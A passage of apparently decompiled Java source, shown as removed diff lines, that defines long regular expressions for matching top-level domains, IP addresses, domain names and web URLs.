vikcoromant|sanofi|sap|sapo|sarl|saxo|sbs|sca|scb|schmidt|scholarships|school|schule|schwarz|science|scor|scot|seat|security|seek|sener|services|seven|sew|sex|sexy|shiksha|shoes|show|shriram|singles|site|ski|sky|skype|sncf|soccer|social|software|sohu|solar|solutions|sony|soy|space|spiegel|spreadbetting|srl|stada|starhub|statoil|stc|stcgroup|stockholm|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sydney|systems|s[abcdeghijklmnortuvxyz])|(?:tab|taipei|tatamotors|tatar|tattoo|tax|taxi|team|tech|technology|tel|telefonica|temasek|tennis|thd|theater|theatre|tickets|tienda|tips|tires|tirol|today|tokyo|tools|top|toray|toshiba|tours|town|toyota|toys|trade|trading|training|travel|trust|tui|t[cdfghjklmnortvwz])|(?:ubs|university|uno|uol|u[agksyz])|(?:vacations|vana|vegas|ventures|versicherung|vet|viajes|video|villas|vin|virgin|vision|vista|vistaprint|viva|vlaanderen|vodka|vote|voting|voto|voyage|v[aceginu])|(?:wales|walter|wang|watch|webcam|website|wed|wedding|weir|whoswho|wien|wiki|williamhill|win|windows|wine|wme|work|works|world|wtc|wtf|w[fs])|(?:ελ|бел|дети|ком|мкд|мон|москва|онлайн|орг|рус|рф|сайт|срб|укр|қаз|հայ|קום|ارامكو|الاردن|الجزائر|السعودية|المغرب|امارات|ایران|بازار|بھارت|تونس|سودان|سورية|شبكة|عراق|عمان|فلسطين|قطر|كوم|مصر|مليسيا|موقع|कॉम|नेट|भारत|संगठन|ভারত|ਭਾਰਤ|ભારત|இந்தியா|இலங்கை|சிங்கப்பூர்|భారత్|ලංකා|คอม|ไทย|გე|みんな|グーグル|コム|世界|中信|中国|中國|中文网|企业|佛山|信息|健康|八卦|公司|公益|台湾|台灣|商城|商店|商标|在线|大拿|娱乐|工行|广东|慈善|我爱你|手机|政务|政府|新加坡|新闻|时尚|机构|淡马锡|游戏|点看|移动|组织机构|网址|网店|网络|谷歌|集团|飞利浦|餐厅|香港|닷넷|닷컴|삼성|한국|xbox|xerox|xin|xn\\-\\-11b4c3d|xn\\-\\-1qqw23a|xn\\-\\-30rr7y|xn\\-\\-3bst00m|xn\\-\\-3ds443g|x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\\-mxtq1m|xn\\-\\-ngbc5azd|xn\\-\\-node|xn\\-\\-nqv7f|xn\\-\\-nqv7fs00ema|xn\\-\\-nyqy26a|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1acf|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-pssy2u|xn\\-\\-q9jyb4c|xn\\-\\-qcka1pmc|xn\\-\\-qxam|xn\\-\\-rhqv96g|xn\\-\\-s9brj9c|xn\\-\\-ses554g|xn\\-\\-t60b56a|xn\\-\\-tckwe|xn\\-\\-unup4y|xn\\-\\-vermgensberater\\-ctb|xn\\-\\-vermgensberatung\\-pwb|xn\\-\\-vhquv|xn\\-\\-vuq861b|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xhq521b|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-y9a3aq|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zfr164b|xperia|xxx|xyz)|(?:yachts|yamaxun|yandex|yodobashi|yoga|yokohama|youtube|y[et])|(?:zara|zip|zone|zuerich|z[amw]))|xn\\-\\-[\\w\\-]{0,58}\\w))"; - private static final String STRICT_TLD = "(?:(?:(?:aaa|aarp|abb|abbott|abogado|academy|accenture|accountant|accountants|aco|active|actor|ads|adult|aeg|aero|afl|agency|aig|airforce|airtel|allfinanz|alsace|amica|amsterdam|android|apartments|app|apple|aquarelle|aramco|archi|army|arpa|arte|asia|associates|attorney|auction|audio|auto|autos|axa|azure|a[cdefgilmoqrstuwxz])|(?:band|bank|bar|barcelona|barclaycard|barclays|bargains|bauhaus|bayern|bbc|bbva|bcn|beats|beer|bentley|berlin|best|bet|bharti|bible|bid|bike|bing|bingo|bio|biz|black|blackfriday|bloomberg|blue|bms|bmw|bnl|bnpparibas|boats|bom|bond|boo|boots|boutique|bradesco|bridgestone|broadway|broker|brother|brussels|budapest|build|builders|business|buzz|bzh|b[abdefghijmnorstvwyz])|(?:cab|cafe|cal|camera|camp|cancerresearch|canon|capetown|capital|car|caravan|cards|care|career|careers|cars|cartier|casa|cash|casino|cat|catering|cba|cbn|ceb|center|ceo|cern|cfa|cfd|chanel|channel|chat|cheap|chloe|christmas|chrome|church|cipriani|cisco|citic|city|cityeats|claims|cleaning|click|clinic|clothing|cloud|club|clubmed|coach|codes|coffee|college|cologne|com|commbank|community|company|computer|comsec|condos|construction|consulting|contractors|cooking|cool|coop|corsica|country|coupons|courses|credit|creditcard|creditunion|cricket|crown|crs|cruises|csc|cuisinella|cymru|cyou|c[acdfghiklmnoruvwxyz])|(?:dabur|dad|dance|date|dating|datsun|day|dclk|deals|degree|delivery|dell|delta|democrat|dental|dentist|desi|design|dev|diamonds|diet|digital|direct|directory|discount|dnp|docs|dog|doha|domains|doosan|download|drive|durban|dvag|d[ejkmoz])|(?:earth|eat|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|erni|esq|estate|eurovision|eus|events|everbank|exchange|expert|exposed|express|e[cegrstu])|(?:fage|fail|fairwinds|faith|family|fan|fans|farm|fashion|feedback|ferrero|film|final|finance|financial|firmdale|fish|fishing|fit|fitness|flights|florist|flowers|flsmidth|fly|foo|football|forex|forsale|forum|foundation|frl|frogans|fund|furniture|futbol|fyi|f[ijkmor])|(?:gal|gallery|game|garden|gbiz|gdn|gea|gent|genting|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gmail|gmo|gmx|gold|goldpoint|golf|goo|goog|google|gop|gov|grainger|graphics|gratis|green|gripe|group|gucci|guge|guide|guitars|guru|g[abdefghilmnpqrstuwy])|(?:hamburg|hangout|haus|healthcare|help|here|hermes|hiphop|hitachi|hiv|hockey|holdings|holiday|homedepot|homes|honda|horse|host|hosting|hoteles|hotmail|house|how|hsbc|hyundai|h[kmnrtu])|(?:ibm|icbc|ice|icu|ifm|iinet|immo|immobilien|industries|infiniti|info|ing|ink|institute|insure|int|international|investments|ipiranga|irish|ist|istanbul|itau|iwc|i[delmnoqrst])|(?:jaguar|java|jcb|jetzt|jewelry|jlc|jll|jobs|joburg|jprs|juegos|j[emop])|(?:kaufen|kddi|kia|kim|kinder|kitchen|kiwi|koeln|komatsu|krd|kred|kyoto|k[eghimnprwyz])|(?:lacaixa|lancaster|land|landrover|lasalle|lat|latrobe|law|lawyer|lds|lease|leclerc|legal|lexus|lgbt|liaison|lidl|life|lifestyle|lighting|limited|limo|linde|link|live|lixil|loan|loans|lol|london|lotte|lotto|love|ltd|ltda|lupin|luxe|luxury|l[abcikrstuvy])|(?:madrid|maif|maison|man|management|mango|market|marketing|markets|marriott|mba|media|meet|melbourne|meme|memorial|men|menu|meo|miami|microsoft|mil|mini|mma|mobi|moda|moe|moi|mom|monash|money|montblanc|mormon|mortgage|moscow|motorcycles|mov|movie|movistar|mtn|mtpc|mtr|museum|mutuelle|m[acdeghklmnopqrstuvwxyz])|(?:nadex|nagoya|name|navy|nec|net|netbank|network|neustar|new|news|nexus|ngo|nhk|nico|ninja|nissan|nokia|nra|nrw|ntt|nyc|n[acefgilopruz])|(?:obi|office|okinawa|omega|one|ong|onl|online|ooo|oracle|orange|org|organic|osaka|otsuka|ovh|om)|(?:page|panerai|paris|partners|parts|party|pet|pharmacy|philips|photo|photography|photos|physio|piaget|pics|pictet|pictures|ping|pink|pizza|place|play|playstation|plumbing|plus|pohl|poker|porn|post|praxi|press|pro|prod|productions|prof|properties|property|protection|pub|p[aefghklmnrstwy])|(?:qpon|quebec|qa)|(?:racing|realtor|realty|recipes|red|redstone|rehab|reise|reisen|reit|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rich|ricoh|rio|rip|rocher|rocks|rodeo|rsvp|ruhr|run|rwe|ryukyu|r[eosuw])|(?:saarland|sakura|sale|samsung|sandvik|sandvikcoromant|sanofi|sap|sapo|sarl|saxo|sbs|sca|scb|schmidt|scholarships|school|schule|schwarz|science|scor|scot|seat|security|seek|sener|services|seven|sew|sex|sexy|shiksha|shoes|show|shriram|singles|site|ski|sky|skype|sncf|soccer|social|software|sohu|solar|solutions|sony|soy|space|spiegel|spreadbetting|srl|stada|starhub|statoil|stc|stcgroup|stockholm|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sydney|systems|s[abcdeghijklmnortuvxyz])|(?:tab|taipei|tatamotors|tatar|tattoo|tax|taxi|team|tech|technology|tel|telefonica|temasek|tennis|thd|theater|theatre|tickets|tienda|tips|tires|tirol|today|tokyo|tools|top|toray|toshiba|tours|town|toyota|toys|trade|trading|training|travel|trust|tui|t[cdfghjklmnortvwz])|(?:ubs|university|uno|uol|u[agksyz])|(?:vacations|vana|vegas|ventures|versicherung|vet|viajes|video|villas|vin|virgin|vision|vista|vistaprint|viva|vlaanderen|vodka|vote|voting|voto|voyage|v[aceginu])|(?:wales|walter|wang|watch|webcam|website|wed|wedding|weir|whoswho|wien|wiki|williamhill|win|windows|wine|wme|work|works|world|wtc|wtf|w[fs])|(?:ελ|бел|дети|ком|мкд|мон|москва|онлайн|орг|рус|рф|сайт|срб|укр|қаз|հայ|קום|ارامكو|الاردن|الجزائر|السعودية|المغرب|امارات|ایران|بازار|بھارت|تونس|سودان|سورية|شبكة|عراق|عمان|فلسطين|قطر|كوم|مصر|مليسيا|موقع|कॉम|नेट|भारत|संगठन|ভারত|ਭਾਰਤ|ભારત|இந்தியா|இலங்கை|சிங்கப்பூர்|భారత్|ලංකා|คอม|ไทย|გე|みんな|グーグル|コム|世界|中信|中国|中國|中文网|企业|佛山|信息|健康|八卦|公司|公益|台湾|台灣|商城|商店|商标|在线|大拿|娱乐|工行|广东|慈善|我爱你|手机|政务|政府|新加坡|新闻|时尚|机构|淡马锡|游戏|点看|移动|组织机构|网址|网店|网络|谷歌|集团|飞利浦|餐厅|香港|닷넷|닷컴|삼성|한국|xbox|xerox|xin|xn\\-\\-11b4c3d|xn\\-\\-1qqw23a|xn\\-\\-30rr7y|xn\\-\\-3bst00m|xn\\-\\-3ds443g|xn\\-\\-3e0b707e|xn\\-\\-3pxu8k|xn\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\-node|xn\\-\\-nqv7f|xn\\-\\-nqv7fs00ema|xn\\-\\-nyqy26a|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1acf|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-pssy2u|xn\\-\\-q9jyb4c|xn\\-\\-qcka1pmc|xn\\-\\-qxam|xn\\-\\-rhqv96g|xn\\-\\-s9brj9c|xn\\-\\-ses554g|xn\\-\\-t60b56a|xn\\-\\-tckwe|xn\\-\\-unup4y|xn\\-\\-vermgensberater\\-ctb|xn\\-\\-vermgensberatung\\-pwb|xn\\-\\-vhquv|xn\\-\\-vuq861b|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xhq521b|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-y9a3aq|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zfr164b|xperia|xxx|xyz)|(?:yachts|yamaxun|yandex|yodobashi|yoga|yokohama|youtube|y[et])|(?:zara|zip|zone|zuerich|z[amw]))|xn\\-\\-[\\w\\-]{0,58}\\w)"; - private static final String TLD = "(xn\\-\\-[\\w\\-]{0,58}\\w|[a-zA-Z[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]{2,63})"; - private static final String TLD_CHAR = "a-zA-Z[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]"; - private static final String UCS_CHAR = "[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]"; - private static final String USER_INFO = "(?:[a-zA-Z0-9\\$\\-\\_\\.\\+\\!\\*\\'\\(\\)\\,\\;\\?\\&\\=]|(?:\\%[a-fA-F0-9]{2})){1,64}(?:\\:(?:[a-zA-Z0-9\\$\\-\\_\\.\\+\\!\\*\\'\\(\\)\\,\\;\\?\\&\\=]|(?:\\%[a-fA-F0-9]{2})){1,25})?\\@"; - public static final Pattern WEB_URL; - private static final String WEB_URL_WITHOUT_PROTOCOL; - private static final String WEB_URL_WITH_PROTOCOL; - private static final String WORD_BOUNDARY = "(?:\\b|$|^)"; - - static { - Pattern compile = Pattern.compile("((25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9])\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[0-9]))"); - IP_ADDRESS = compile; - Pattern compile2 = Pattern.compile("(([a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}\\.)+(xn\\-\\-[\\w\\-]{0,58}\\w|[a-zA-Z[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]{2,63})|" + compile + ")"); - DOMAIN_NAME = compile2; - WEB_URL = Pattern.compile("(((?:(?i:http|https|rtsp)://(?:(?:[a-zA-Z0-9\\$\\-\\_\\.\\+\\!\\*\\'\\(\\)\\,\\;\\?\\&\\=]|(?:\\%[a-fA-F0-9]{2})){1,64}(?:\\:(?:[a-zA-Z0-9\\$\\-\\_\\.\\+\\!\\*\\'\\(\\)\\,\\;\\?\\&\\=]|(?:\\%[a-fA-F0-9]{2})){1,25})?\\@)?)?(?:" + compile2 + ")(?:\\:\\d{1,5})?)([/\\?](?:(?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]];/\\?:@&=#~\\-\\.\\+!\\*'\\(\\),_\\$])|(?:%[a-fA-F0-9]{2}))*)?(?:\\b|$|^))"); - Pattern compile3 = Pattern.compile("(?:(?:(?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}\\.)+(?:(?:(?:aaa|aarp|abb|abbott|abogado|academy|accenture|accountant|accountants|aco|active|actor|ads|adult|aeg|aero|afl|agency|aig|airforce|airtel|allfinanz|alsace|amica|amsterdam|android|apartments|app|apple|aquarelle|aramco|archi|army|arpa|arte|asia|associates|attorney|auction|audio|auto|autos|axa|azure|a[cdefgilmoqrstuwxz])|(?:band|bank|bar|barcelona|barclaycard|barclays|bargains|bauhaus|bayern|bbc|bbva|bcn|beats|beer|bentley|berlin|best|bet|bharti|bible|bid|bike|bing|bingo|bio|biz|black|blackfriday|bloomberg|blue|bms|bmw|bnl|bnpparibas|boats|bom|bond|boo|boots|boutique|bradesco|bridgestone|broadway|broker|brother|brussels|budapest|build|builders|business|buzz|bzh|b[abdefghijmnorstvwyz])|(?:cab|cafe|cal|camera|camp|cancerresearch|canon|capetown|capital|car|caravan|cards|care|career|careers|cars|cartier|casa|cash|casino|cat|catering|cba|cbn|ceb|center|ceo|cern|cfa|cfd|chanel|channel|chat|cheap|chloe|christmas|chrome|church|cipriani|cisco|citic|city|cityeats|claims|cleaning|click|clinic|clothing|cloud|club|clubmed|coach|codes|coffee|college|cologne|com|commbank|community|company|computer|comsec|condos|construction|consulting|contractors|cooking|cool|coop|corsica|country|coupons|courses|credit|creditcard|creditunion|cricket|crown|crs|cruises|csc|cuisinella|cymru|cyou|c[acdfghiklmnoruvwxyz])|(?:dabur|dad|dance|date|dating|datsun|day|dclk|deals|degree|delivery|dell|delta|democrat|dental|dentist|desi|design|dev|diamonds|diet|digital|direct|directory|discount|dnp|docs|dog|doha|domains|doosan|download|drive|durban|dvag|d[ejkmoz])|(?:earth|eat|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|erni|esq|estate|eurovision|eus|events|everbank|exchange|expert|exposed|express|e[cegrstu])|(?:fage|fail|fairwinds|faith|family|fan|fans|farm|fashion|feedback|ferrero|film|final|finance|financial|firmdale|fish|fishing|fit|fitness|flights|florist|flowers|flsmidth|fly|foo|football|forex|forsale|forum|foundation|frl|frogans|fund|furniture|futbol|fyi|f[ijkmor])|(?:gal|gallery|game|garden|gbiz|gdn|gea|gent|genting|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gmail|gmo|gmx|gold|goldpoint|golf|goo|goog|google|gop|gov|grainger|graphics|gratis|green|gripe|group|gucci|guge|guide|guitars|guru|g[abdefghilmnpqrstuwy])|(?:hamburg|hangout|haus|healthcare|help|here|hermes|hiphop|hitachi|hiv|hockey|holdings|holiday|homedepot|homes|honda|horse|host|hosting|hoteles|hotmail|house|how|hsbc|hyundai|h[kmnrtu])|(?:ibm|icbc|ice|icu|ifm|iinet|immo|immobilien|industries|infiniti|info|ing|ink|institute|insure|int|international|investments|ipiranga|irish|ist|istanbul|itau|iwc|i[delmnoqrst])|(?:jaguar|java|jcb|jetzt|jewelry|jlc|jll|jobs|joburg|jprs|juegos|j[emop])|(?:kaufen|kddi|kia|kim|kinder|kitchen|kiwi|koeln|komatsu|krd|kred|kyoto|k[eghimnprwyz])|(?:lacaixa|lancaster|land|landrover|lasalle|lat|latrobe|law|lawyer|lds|lease|leclerc|legal|lexus|lgbt|liaison|lidl|life|lifestyle|lighting|limited|limo|linde|link|live|lixil|loan|loans|lol|london|lotte|lotto|love|ltd|ltda|lupin|luxe|luxury|l[abcikrstuvy])|(?:madrid|maif|maison|man|management|mango|market|marketing|markets|marriott|mba|media|meet|melbourne|meme|memorial|men|menu|meo|miami|microsoft|mil|mini|mma|mobi|moda|moe|moi|mom|monash|money|montblanc|mormon|mortgage|moscow|motorcycles|mov|movie|movistar|mtn|mtpc|mtr|museum|mutuelle|m[acdeghklmnopqrstuvwxyz])|(?:nadex|nagoya|name|navy|nec|net|netbank|network|neustar|new|news|nexus|ngo|nhk|nico|ninja|nissan|nokia|nra|nrw|ntt|nyc|n[acefgilopruz])|(?:obi|office|okinawa|omega|one|ong|onl|online|ooo|oracle|orange|org|organic|osaka|otsuka|ovh|om)|(?:page|panerai|paris|partners|parts|party|pet|pharmacy|philips|photo|photography|photos|physio|piaget|pics|pictet|pictures|ping|pink|pizza|place|play|playstation|plumbing|plus|pohl|poker|porn|post|praxi|press|pro|prod|productions|prof|properties|property|protection|pub|p[aefghklmnrstwy])|(?:qpon|quebec|qa)|(?:racing|realtor|realty|recipes|red|redstone|rehab|reise|reisen|reit|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rich|ricoh|rio|rip|rocher|rocks|rodeo|rsvp|ruhr|run|rwe|ryukyu|r[eosuw])|(?:saarland|sakura|sale|samsung|sandvik|sandvikcoromant|sanofi|sap|sapo|sarl|saxo|sbs|sca|scb|schmidt|scholarships|school|schule|schwarz|science|scor|scot|seat|security|seek|sener|services|seven|sew|sex|sexy|shiksha|shoes|show|shriram|singles|site|ski|sky|skype|sncf|soccer|social|software|sohu|solar|solutions|sony|soy|space|spiegel|spreadbetting|srl|stada|starhub|statoil|stc|stcgroup|stockholm|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sydney|systems|s[abcdeghijklmnortuvxyz])|(?:tab|taipei|tatamotors|tatar|tattoo|tax|taxi|team|tech|technology|tel|telefonica|temasek|tennis|thd|theater|theatre|tickets|tienda|tips|tires|tirol|today|tokyo|tools|top|toray|toshiba|tours|town|toyota|toys|trade|trading|training|travel|trust|tui|t[cdfghjklmnortvwz])|(?:ubs|university|uno|uol|u[agksyz])|(?:vacations|vana|vegas|ventures|versicherung|vet|viajes|video|villas|vin|virgin|vision|vista|vistaprint|viva|vlaanderen|vodka|vote|voting|voto|voyage|v[aceginu])|(?:wales|walter|wang|watch|webcam|website|wed|wedding|weir|whoswho|wien|wiki|williamhill|win|windows|wine|wme|work|works|world|wtc|wtf|w[fs])|(?:ελ|бел|дети|ком|мкд|мон|москва|онлайн|орг|рус|рф|сайт|срб|укр|қаз|հայ|קום|ارامكو|الاردن|الجزائر|السعودية|المغرب|امارات|ایران|بازار|بھارت|تونس|سودان|سورية|شبكة|عراق|عمان|فلسطين|قطر|كوم|مصر|مليسيا|موقع|कॉम|नेट|भारत|संगठन|ভারত|ਭਾਰਤ|ભારત|இந்தியா|இலங்கை|சிங்கப்பூர்|భారత్|ලංකා|คอม|ไทย|გე|みんな|グーグル|コム|世界|中信|中国|中國|中文网|企业|佛山|信息|健康|八卦|公司|公益|台湾|台灣|商城|商店|商标|在线|大拿|娱乐|工行|广东|慈善|我爱你|手机|政务|政府|新加坡|新闻|时尚|机构|淡马锡|游戏|点看|移动|组织机构|网址|网店|网络|谷歌|集团|飞利浦|餐厅|香港|닷넷|닷컴|삼성|한국|xbox|xerox|xin|xn\\-\\-11b4c3d|xn\\-\\-1qqw23a|xn\\-\\-30rr7y|xn\\-\\-3bst00m|xn\\-\\-3ds443g|xn\\-\\-3e0b707e|xn\\-\\-3pxu8k|xn\\-\\-42c2d9a|xn\\-\\-45brj9c|xn\\-\\-45q11c|xn\\-\\-4gbrim|xn\\-\\-55qw42g|xn\\-\\-55qx5d|xn\\-\\-6frz82g|xn\\-\\-6qq986b3xl|xn\\-\\-80adxhks|xn\\-\\-80ao21a|xn\\-\\-80asehdb|xn\\-\\-80aswg|xn\\-\\-90a3ac|xn\\-\\-90ais|xn\\-\\-9dbq2a|xn\\-\\-9et52u|xn\\-\\-b4w605ferd|xn\\-\\-c1avg|xn\\-\\-c2br7g|xn\\-\\-cg4bki|xn\\-\\-clchc0ea0b2g2a9gcd|xn\\-\\-czr694b|xn\\-\\-czrs0t|xn\\-\\-czru2d|xn\\-\\-d1acj3b|xn\\-\\-d1alf|xn\\-\\-efvy88h|xn\\-\\-estv75g|xn\\-\\-fhbei|xn\\-\\-fiq228c5hs|xn\\-\\-fiq64b|xn\\-\\-fiqs8s|xn\\-\\-fiqz9s|xn\\-\\-fjq720a|xn\\-\\-flw351e|xn\\-\\-fpcrj9c3d|xn\\-\\-fzc2c9e2c|xn\\-\\-gecrj9c|xn\\-\\-h2brj9c|xn\\-\\-hxt814e|xn\\-\\-i1b6b1a6a2e|xn\\-\\-imr513n|xn\\-\\-io0a7i|xn\\-\\-j1aef|xn\\-\\-j1amh|xn\\-\\-j6w193g|xn\\-\\-kcrx77d1x4a|xn\\-\\-kprw13d|xn\\-\\-kpry57d|xn\\-\\-kput3i|xn\\-\\-l1acc|xn\\-\\-lgbbat1ad8j|xn\\-\\-mgb9awbf|xn\\-\\-mgba3a3ejt|xn\\-\\-mgba3a4f16a|xn\\-\\-mgbaam7a8h|xn\\-\\-mgbab2bd|xn\\-\\-mgbayh7gpa|xn\\-\\-mgbbh1a71e|xn\\-\\-mgbc0a9azcg|xn\\-\\-mgberp4a5d4ar|xn\\-\\-mgbpl2fh|xn\\-\\-mgbtx2b|xn\\-\\-mgbx4cd0ab|xn\\-\\-mk1bu44c|xn\\-\\-mxtq1m|xn\\-\\-ngbc5azd|xn\\-\\-node|xn\\-\\-nqv7f|xn\\-\\-nqv7fs00ema|xn\\-\\-nyqy26a|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1acf|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-pssy2u|xn\\-\\-q9jyb4c|xn\\-\\-qcka1pmc|xn\\-\\-qxam|xn\\-\\-rhqv96g|xn\\-\\-s9brj9c|xn\\-\\-ses554g|xn\\-\\-t60b56a|xn\\-\\-tckwe|xn\\-\\-unup4y|xn\\-\\-vermgensberater\\-ctb|xn\\-\\-vermgensberatung\\-pwb|xn\\-\\-vhquv|xn\\-\\-vuq861b|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xhq521b|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-y9a3aq|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zfr164b|xperia|xxx|xyz)|(?:yachts|yamaxun|yandex|yodobashi|yoga|yokohama|youtube|y[et])|(?:zara|zip|zone|zuerich|z[amw]))|xn\\-\\-[\\w\\-]{0,58}\\w))|" + compile + ")"); - STRICT_DOMAIN_NAME = compile3; - String str = "(?:(?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]](?:[a-zA-Z0-9[ -\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]_\\-]{0,61}[a-zA-Z0-9[ 